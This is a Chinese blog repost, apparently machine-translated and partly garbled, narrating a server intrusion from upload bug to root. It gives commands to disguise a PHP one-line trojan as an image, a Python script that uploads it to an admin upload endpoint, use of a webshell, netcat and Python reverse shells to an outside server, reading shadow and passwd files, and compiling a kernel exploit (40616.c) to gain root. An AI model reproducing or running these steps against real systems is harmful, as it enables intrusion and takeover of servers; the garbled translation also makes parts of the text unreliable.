黑客? 1小时内入侵100台服务器的百度成为同谋? !

电脑杂谈  发布时间:2020-06-06 02:21:15  来源:网络整理

bash 提权漏洞_windows 漏洞提权_bash 提权漏洞

它不见了. .

查找开源Web软件漏洞

首先,在网站上查找该软件的任何公共漏洞. 如果找不到,您可以自己下载软件进行测试,然后仔细检查逻辑或编码问题.

幸运的是,我前段时间在一个安全论坛上发现了该软件,并暴露了一个图像上传漏洞: 漏洞的原因: 1.没有在后台图像上传界面上进行权限验证; 2.上传的图像不正确检查后缀名称是否为jpgbash 提权漏洞,jpeg,png,gif. 漏洞的后果: 1.任何用户都可以通过界面上传图片; 2.伪装成图片的脚本文件将在上传后进行解析. 解决方案: 1.做权限验证; 2.对上传的图像文件进行后缀名称验证; 3.您还可以将上传的文件存储在OSS上.

这么快就找到了突破口,哈哈.

造像马

由于这是一个图片上传漏洞,所以接下来,我需要假装成为图片马,并将测试上传到客户网站.

警告: 为了不影响被测网站,文本中使用的木马文件均为空文件.

Windows系统:

copy tp.jpg/b+yjh.php  tpyjh.jpg
/**
 * tp.jpg:普通图片 
 * yjh.php:一句话木马
 * tpyjh.php:生成的伪装为图片的一句话木马
 */

Linux系统:

cat tp.jpg/b yjh.php > tpyjh.jpg
/**
 * tp.jpg:普通图片 
 * yjh.php:一句话木马
 * tpyjh.php:生成的伪装为图片的一句话木马
 */

编写上传脚本以测试漏洞

#!/usr/bin/python
# -*- coding: utf-8 -*-
# test_upload.py
import requests
import random
url_base = [待测试网站的根域名]
def requests_post(url, data, files):
    temp = None
    headers = get_header()
    try:
        temp = requests.post(url, data=data, files=files, headers=headers, timeout=5)
    except ValueError, e:
        return False
    return temp
def get_header():
    user_agent_list = [
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95',
        'Safari/537.36 OPR/26.0.1656.60',
        'Opera/8.0 (Windows NT 5.1; U; en)',
        'Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0',
        'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 '
        '(maverick) Firefox/3.6.10',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
        'Chrome/39.0.2171.71 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 '
        '(KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
    ]
    UserAgent = random.choice(user_agent_list)
    header = {'User-Agent': UserAgent}
    return header
if __name__ == '__main__':
    data = {
        "file_path": "upload/common/"
    }
    files = {
        "file_upload": ("tpyjh.php", open("tpyjh.php", "rb"), "image/png")
    }
    url =  url_base + 'index.php?s=/admin/upload/uploadfile'
    res = requests_post(url, data, files)
    print res.status_code
    print res.text.decode('unicode_escape')

上传测试:

上传成功,并返回了Trojan路径: upload / common / 1565530537.php

斩波器连接测试,getshell!

提示: 如果要防止某人通过上传漏洞恶意上传Trojan文件,请确保关闭上传目录的写入和执行权限!

通过上述操作,我发现此上载目录的执行权限未关闭,因此写权限应为八或九,没有太多限制,因此我找到了一个Internet上具有较高权限的马来西亚人并将其通过起来. 马来西亚之所以能够通过,是因为一般而言,小马的可操作权力相对较小,并且容易被杀死. 如果上传高度隐藏的内容(添加修饰符,混淆和其他方法可以避免签名代码被杀死),则具有较大权限的马可以长时间隐藏在服务器中,这便于升级.

提示: 要杀死服务器上的木马,您只能使用关键字或功能代码来杀死非常愚蠢的木马. 如果攻击者没有杀死,就很难找到.

上载杀死马来西亚

bash 提权漏洞_windows 漏洞提权_bash 提权漏洞

将马来西亚上传到服务器:

马来西亚入口

马来西亚管理界面

注意: 请不要随意使用它. 在网上宣布的10个马来西亚人中,马来西亚有10个后门!这就是人们所说的黑吃黑!如果您使用从Internet下载的马来西亚测试服务器,则马来西亚发布者可能会使用它,从而造成无法弥补的损失!

弹跳壳

由于在马来西亚缺少许多权限,并且网页操作不便,因此此时需要一个反弹壳,以通过命令行方便目标主机的操作.

对于回弹操作,需要外部网络计算机,即使它不是外部网络也可以映射. 如果是外部服务器,则更加简单. 由于Xiao Hei手里有一些空闲的测试服务器,因此为了方便起见,他直接通过服务器重新建立了连接.

端口:

执行反弹命令的方法有很多. 不同的目标主机支持不同的执行方法. 经过测试,我选择了NC回弹: 开始回弹〜

反弹连接成功!

许可能会觉得在此步骤中,他们似乎已经具有root权限,并且似乎可以控制整个目标主机. 但是,这并不是那么简单. 首先查看我当前是哪个用户:

实际上,您无需看就能猜出Nginx或Apache,因为我们是通过Web连接的,并且它是用php编写的程序. 不相信?查看我们当前连接到的目录:

最初的职位是在马来西亚. 没问题但是在操作过程中,我发现无论我如何切换路径,似乎都在当前目录下,这太不方便了!

所以我换了马,并通过Python弹跳了弹壳.

连接成功!并测试了命令行.

好〜看来很正常.

查看系统信息

首先检查阴影文件和passwd文件.

提示: 小黑有一个习惯. 如果他可以进入目标主机的根目录,则黑河将首先查看影子文件和passwd的权限,然后继续执行下一个操作(权限似乎不足并丢失).

检查内核版本:

Linux 10-10-34-187 3.10.0-123.4.4.el7.x86_64 #1 SMP Fri Jul 25 05:07:12 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

bash 提权漏洞_bash 提权漏洞_windows 漏洞提权

阅读/ proc / version以获取LinuxKernel版本:

Linux version 3.10.0-123.4.4.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Jul 25 05:07:12 UTC 2014

检查CentOS版本:

EXP提升的权限

检查后发现linux的内核版本为: Linux 3.10.0-123.4.4.el7.x86_64 CentOS

因此,我们需要找到支持本书的Exp. Exp简介:

搜索后,找到内核Exp,该内核可用于将特权提升给root用户.

提示: 功率升级有很多姿势. 在这里,请先尝试内核功耗提升.

将Exp上载到目标主机的/ tmp /目录:

签出:

编译Exp:

尴尬〜错误地报告:

gcc: error trying to exec 'cc1': execvp: No such file or directory
# 没有该文件或目录的错误 

输入: whereis gcc

我在/ usr / bin / gcc中找到了一个gcc

所以我尝试设置PATH路径,命令如下:

export PATH=/usr/bin:$PATH(根据你自己的位置进行重设) 

继续编译:

40616.c: In function 'procselfmemThread':
40616.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from 40616.c:28:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^
/tmp/ccacvdug.o: In function `main':
40616.c:(.text+0x39d): undefined reference to `pthread_create'
40616.c:(.text+0x3b8): undefined reference to `pthread_create'
40616.c:(.text+0x3d1): undefined reference to `pthread_create'
40616.c:(.text+0x3e5): undefined reference to `pthread_join'
collect2: error: ld returned 1 exit status

报告了另一个错误,打开文件并查看了该文件,发现缺少参数pthread. 继续编译:

在编译过程中会出现一些警告,并且只要ls验证编译成功即可将其直接忽略:

bash 提权漏洞_windows 漏洞提权_bash 提权漏洞

检查我们当前的ID,我的当前uid是997,属于普通用户:

运行Exp:

Exp完成执行,发现当前登录的用户名已更改为Root. 打印id,此时uid为0,它成为超级用户. 换句话说,此时我已经可以控制整个服务器,并且我可以做任何我想做的事.


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-235464-1.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 徐安期
      徐安期

      不想你变的憔悴”感触良多

    热点图片
    拼命载入中...